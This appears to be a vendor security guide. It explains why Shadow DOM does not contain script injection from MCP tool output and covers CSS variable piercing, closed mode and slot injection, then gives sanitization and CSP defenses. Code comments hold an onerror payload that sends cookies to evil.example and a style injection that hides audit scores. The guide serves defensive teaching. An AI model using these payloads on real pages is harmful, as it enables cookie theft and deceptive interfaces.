Security Guide
MCP server Shadow DOM security — encapsulation misconceptions, tool output injection, CSS custom property piercing, slot injection
Shadow DOM is one of the most consistently misunderstood security boundaries in browser-side MCP client implementations. Developers reach for attachShadow() when they want to isolate a tool-output rendering component from the rest of the page — a reasonable instinct. The problem is that Shadow DOM isolates CSS selectors and querySelector traversal, not JavaScript execution or script injection. Tool output assigned to shadowRoot.innerHTML executes scripts exactly as it would on a regular DOM node. CSS custom properties propagate through every shadow boundary by design. And mode:'closed' — the feature most often cited as a security control — prevents exactly nothing that matters.
Shadow DOM is an encapsulation mechanism, not a security boundary
When you call el.attachShadow({ mode: 'open' }), the browser creates a shadow root attached to the host element. This shadow root hosts its own subtree of DOM nodes that are scoped away from the outer document in two specific ways: CSS rules defined outside the shadow root cannot reach elements inside it via regular selectors, and document.querySelector() calls from the outer document cannot traverse into the shadow tree. Those two properties are the entirety of what Shadow DOM isolation provides.
Neither property has anything to do with script execution. The shadow tree lives in the same JavaScript execution context as the rest of the document — the same window object, the same event loop, the same content security policy evaluation. When you call shadowRoot.innerHTML = someString, the parser that processes someString is the same parser that would process document.body.innerHTML = someString. It has the same capabilities, the same vulnerabilities, and the same complete indifference to the fact that it is operating inside a shadow root.
The confusion arises because Shadow DOM was designed for component authoring — keeping a component's internal markup hidden from consumers, preventing style collisions across component libraries, enabling Web Components to have predictable visual behavior regardless of what CSS the host page defines. None of those design goals are security goals. The specification authors never claimed otherwise. But the word "isolation" appears frequently in Web Components documentation, and the mental model of a walled-off subtree leads many developers to treat shadow roots as sandboxes.
The key fact: Shadow DOM encapsulates CSS and DOM traversal. It does not encapsulate JavaScript execution, event listeners, or HTML parsing. Code running inside a shadow root executes with the same privileges as code running in the outer document.
Tool output rendered via shadowRoot.innerHTML still executes scripts
The most direct attack surface is an MCP client component that renders tool responses by assigning them to a shadow root's innerHTML. This pattern appears frequently in browser-based MCP clients that use Web Components to display tool results — the developer chooses Shadow DOM to prevent tool output styles from leaking into the application shell, which is a perfectly reasonable aesthetic goal. The security mistake is assuming that goal extends to script containment.
// VULNERABLE: shadow root provides no script injection protection
class ToolOutputComponent extends HTMLElement {
connectedCallback() {
const shadow = this.attachShadow({ mode: 'open' });
// The developer believes the shadow root "contains" the output safely.
// It does not. If toolOutput contains <script>alert(1)</script>,
// that script executes in the page's JavaScript context.
shadow.innerHTML = this.getAttribute('tool-output');
}
}
customElements.define('tool-output', ToolOutputComponent);
// Attacker-controlled tool response (from a malicious MCP server or
// from prompt injection that influenced the tool's return value):
// <img src=x onerror="fetch('https://evil.example/exfil?c='+document.cookie)">
//
// Result: the onerror handler fires inside the shadow root, but document.cookie
// is the OUTER document's cookies — shadow DOM does not scope cookie access.
The mechanism is identical to any innerHTML-based XSS: the browser's HTML parser encounters an event handler attribute or a <script> tag inside the string being assigned, and executes it. The shadow root boundary does not interrupt this process at any stage. An onerror handler on an image inside a shadow root has access to the outer document's document.cookie, localStorage, sessionStorage, and any global JavaScript variables — all of the same targets as a conventional XSS payload.
The correct fix is sanitization before assignment, not reliance on the shadow boundary. Use DOMPurify or the W3C Sanitizer API's setHTML() method, which removes script-executable constructs from HTML before it is parsed into the DOM. The sanitization must happen before the string reaches innerHTML, regardless of whether the target is a shadow root or a regular DOM element.
import DOMPurify from 'dompurify';
class ToolOutputComponent extends HTMLElement {
connectedCallback() {
const shadow = this.attachShadow({ mode: 'open' });
const rawOutput = this.getAttribute('tool-output') ?? '';
// Option 1: DOMPurify — sanitize before innerHTML assignment
shadow.innerHTML = DOMPurify.sanitize(rawOutput, {
// FORBID_ATTR prevents attribute-based event handlers
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
// FORCE_BODY ensures the output is treated as body content
FORCE_BODY: true
});
}
}
// Option 2: W3C Sanitizer API (setHTML instead of innerHTML)
// setHTML() runs sanitization natively in the browser — no library needed
class ToolOutputComponentV2 extends HTMLElement {
connectedCallback() {
const shadow = this.attachShadow({ mode: 'open' });
const rawOutput = this.getAttribute('tool-output') ?? '';
// setHTML sanitizes and parses atomically — no window between parsing and assignment
const container = document.createElement('div');
container.setHTML(rawOutput); // Sanitizer API — strips scripts and event handlers
shadow.appendChild(container);
}
}
// Option 3: DOM construction API — no innerHTML at all
class ToolOutputComponentV3 extends HTMLElement {
connectedCallback() {
const shadow = this.attachShadow({ mode: 'open' });
const rawOutput = this.getAttribute('tool-output') ?? '';
// textContent assignment is always safe — content is treated as text, not HTML
const pre = document.createElement('pre');
pre.textContent = rawOutput; // renders as literal text, never as markup
shadow.appendChild(pre);
}
}
CSS custom properties (variables) pierce shadow boundaries
CSS custom properties — also called CSS variables — are inherited across shadow DOM boundaries. This is intentional and specified behavior: it allows component authors to expose a theming API by documenting which custom properties their component reads, so users of the component can set those properties on a parent element and have them propagate into the shadow tree. The mechanism is that custom property values are inherited through the DOM tree including shadow boundaries, while regular CSS properties (color, font-size, etc.) are blocked from crossing shadow boundaries via standard CSS cascade.
For MCP clients, the security implication arises when tool output can influence the outer page's CSS custom property values, or when the visual presentation of sensitive UI elements inside a shadow component depends on custom properties whose values are reachable by tool output. Consider a shadow component that displays an audit score with a status color driven by a custom property:
/* Inside a shadow component for displaying audit results */
:host {
/* These custom properties are inherited from the outer document */
color: var(--status-color, #34d399); /* default: green */
background: var(--status-bg, rgba(52,211,153,0.1));
}
.score-value {
font-size: 48px;
font-weight: 700;
color: var(--score-text-color, var(--fg));
/* If --score-text-color matches the background, the score is invisible */
}
/* Attacker injects a style block via tool output into the outer page.
The tool output is rendered in a different (non-shadow) container, but
the custom properties it sets propagate into every shadow component on the page. */
/* Injected via a tool response that renders HTML to the outer document: */
<style>
:root {
--status-color: var(--bg); /* makes status text invisible */
--score-text-color: var(--bg-alt); /* makes score invisible against its background */
--status-bg: transparent;
}
</style>
This attack does not require the attacker to reach the shadow root. It only requires the ability to inject a <style> element into any part of the outer document — or to set inline styles on the :root element. If tool output is rendered anywhere in the document without CSS injection sanitization, the attacker can manipulate the visual state of shadow components.
The correct defense is: sanitize CSS as rigorously as HTML. Strip <style> elements from tool output unless they are absolutely necessary, and if they are necessary, use a CSS sanitizer that removes custom property declarations targeting values that could affect visual presentation in ways invisible to the user. Also audit which custom properties your shadow components read and consider whether those properties should be locked to a known-good value set via JavaScript rather than inherited from the document.
open vs closed mode — the closed mode false security
When you call el.attachShadow({ mode: 'closed' }), the browser makes el.shadowRoot return null when accessed from outside the component's own code. This is the single behavioral difference between open and closed mode. The shadow root still exists, still processes innerHTML assignments the same way, still inherits CSS custom properties, still executes scripts — it is just not accessible via the element.shadowRoot property from external code.
// What closed mode actually changes:
const el = document.createElement('div');
const shadow = el.attachShadow({ mode: 'closed' });
shadow.innerHTML = '<p>Internal content</p>';
document.body.appendChild(el);
// External code — el.shadowRoot returns null
console.log(el.shadowRoot); // null — the only thing closed mode does
// But the shadow root reference is available wherever the component code ran
// If it was stored in a closure variable, module-level variable, or WeakMap,
// it is accessible to any code that can reach that variable
// Example: a common pattern in Web Components that negates closed mode entirely
const _shadowRoots = new WeakMap();
class SecretComponent extends HTMLElement {
connectedCallback() {
const shadow = this.attachShadow({ mode: 'closed' });
// Stores the reference to make it accessible to the class's own methods
_shadowRoots.set(this, shadow); // Any code that can access _shadowRoots
// has the shadow root — closed mode irrelevant
}
render(content) {
const shadow = _shadowRoots.get(this);
shadow.innerHTML = content; // Still vulnerable to injection
}
}
The second reason closed mode provides no security is that browser developer tools completely bypass it. In Chrome DevTools, you can expand any closed shadow root in the Elements panel. The closed mode restriction is an API-level hint for component library consumers: "don't depend on the internals of this component." It is not a security control and was never designed to be one. If your threat model includes an attacker who can execute JavaScript in the same document (which is the threat model for injection attacks), closed mode adds zero resistance — JavaScript executing in the page context can monkey-patch Element.prototype.attachShadow before your component initializes to intercept the shadow root reference.
If you see closed mode documented as a defense against prompt injection or tool output injection in MCP server documentation or code comments, that is a misunderstanding. Remove it as a security control from your threat model immediately and substitute real defenses: input sanitization, CSP, and DOM API construction over innerHTML.
Slot injection via distributed nodes from light DOM
Shadow DOM slots are the mechanism by which component consumers provide content to be rendered inside the component's shadow tree. A <slot> element inside a shadow root acts as a placeholder — when the host element's light DOM children have a matching slot attribute, the browser distributes those light DOM nodes to the slot's position in the shadow tree at render time. Critically, the distributed nodes are light DOM nodes: they retain their identity, their event listeners, and their place in the light DOM tree. The slot renders them visually inside the shadow component, but they are not moved into the shadow DOM.
The security implication: if tool output populates the light DOM of a host element that has a shadow component with slots, the tool output's content renders inside the shadow component — inheriting the component's CSS context, appearing within the component's visual frame, and being subject to event listeners registered on the shadow root. This creates an injection path that bypasses all the "security" that developers attribute to the shadow boundary.
// The shadow component defines a slot
class AuditResultCard extends HTMLElement {
connectedCallback() {
const shadow = this.attachShadow({ mode: 'open' });
shadow.innerHTML = `
<div class="card">
<h3>Audit Result</h3>
<div class="content-slot">
<slot name="content"></slot> <!-- light DOM content renders here -->
</div>
<div class="score-slot">
<slot name="score"></slot>
</div>
</div>
`;
}
}
customElements.define('audit-result-card', AuditResultCard);
// The MCP client renders a tool response inside the component's light DOM
// toolOutput is the attacker-controlled response from the MCP server
function renderToolResult(toolOutput) {
const card = document.createElement('audit-result-card');
// VULNERABLE: toolOutput is inserted into the light DOM as innerHTML
// It will be distributed to the <slot name="content"> inside the shadow tree
card.innerHTML = `<div slot="content">${toolOutput}</div>`;
// If toolOutput is:
// <img src=x onerror="exfiltrateCookies()">
// ...then the onerror fires when the browser renders the slot content
// inside the shadow component's visual context
document.querySelector('.results-panel').appendChild(card);
}
// CORRECT: sanitize before insertion into light DOM for slotted content
function renderToolResultSafe(toolOutput) {
const card = document.createElement('audit-result-card');
const contentSlot = document.createElement('div');
contentSlot.setAttribute('slot', 'content');
// Use textContent for plain text tool output — renders as literal characters
contentSlot.textContent = toolOutput;
// Or use DOMPurify if tool output contains intentional formatting markup
// contentSlot.innerHTML = DOMPurify.sanitize(toolOutput);
card.appendChild(contentSlot);
document.querySelector('.results-panel').appendChild(card);
}
Note that the shadow boundary does not screen the slot content for scripts because the slot content is light DOM — it belongs to the outer document, not to the shadow tree. The browser rendering the slot is compositing light DOM nodes into the shadow tree's visual layout, not moving ownership. The CSP, innerHTML behavior, and event handler execution rules that apply to the outer document apply to slot content.
Safe patterns for rendering tool output in Shadow DOM
Four patterns, in descending order of preference:
1. DOM construction API (textContent / createElement). The safest approach is never to call innerHTML at all when rendering tool output. Build the DOM programmatically: create elements with document.createElement(), set text content with textContent, and append children. This approach is immune to HTML injection by construction — there is no HTML parsing step to exploit.
2. Sanitizer API setHTML(). The W3C Sanitizer API's element.setHTML(htmlString) method parses and sanitizes atomically — the sanitizer configuration is applied during parsing, not as a pre-processing step on the string. This eliminates the TOCTOU window that exists when you sanitize a string and then pass it to innerHTML. As of 2026 this API is available in Chromium-based browsers and Firefox.
3. DOMPurify. For environments where the Sanitizer API is not available, DOMPurify is the established library-based alternative. Configure it explicitly: set FORCE_BODY: true, enumerate allowed tags and attributes rather than relying on the default allow-list, and consider using RETURN_DOM_FRAGMENT to receive a DocumentFragment rather than an HTML string that must be re-assigned to innerHTML.
4. Content Security Policy. CSP applies to the entire document, including scripts inside shadow roots. A policy of script-src 'self' blocks inline scripts and inline event handlers regardless of whether they appear in the main DOM or inside a shadow root. CSP is a defense-in-depth layer, not a substitute for sanitization — a blocked inline script still represents a finding — but it limits the damage an injection can cause.
// Content-Security-Policy header for MCP client browser UIs:
// script-src 'self' — blocks all inline scripts including those in shadow roots
// style-src 'self' — blocks injected <style> elements (prevents CSS custom property attacks)
// Note: 'unsafe-inline' in script-src negates all script injection protections
// Express middleware example:
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
"script-src 'self'", // no 'unsafe-inline' — blocks injected scripts
"style-src 'self' 'unsafe-inline'", // unsafe-inline needed for Shadow DOM adoptedStyleSheets
"img-src 'self' data:",
"connect-src 'self' wss:",
"frame-ancestors 'none'"
].join('; '));
next();
});
| Technique | Blocks script injection? | Blocks CSS piercing? | Blocks slot injection? |
|---|---|---|---|
mode: 'closed' |
No | No | No |
| Shadow DOM alone | No | No | No |
| DOMPurify on innerHTML | Yes | Partial (strips <style>) | Yes (sanitize slot content) |
| Sanitizer API setHTML() | Yes | Partial (strips <style>) | Yes |
| DOM construction API | Yes | Yes (no CSS injected) | Yes (use textContent) |
| Content-Security-Policy | Yes (blocks execution) | Partial (blocks <style> if style-src 'self') | Yes (blocks execution) |
SkillAudit findings for Shadow DOM misuse
mode:'closed' "prevents external access" or "protects against injection." This signals a systemic misunderstanding of Shadow DOM's security model. Grade impact: −18.
Audit your MCP server for these issues
SkillAudit checks for Shadow DOM security misconfigurations automatically — paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →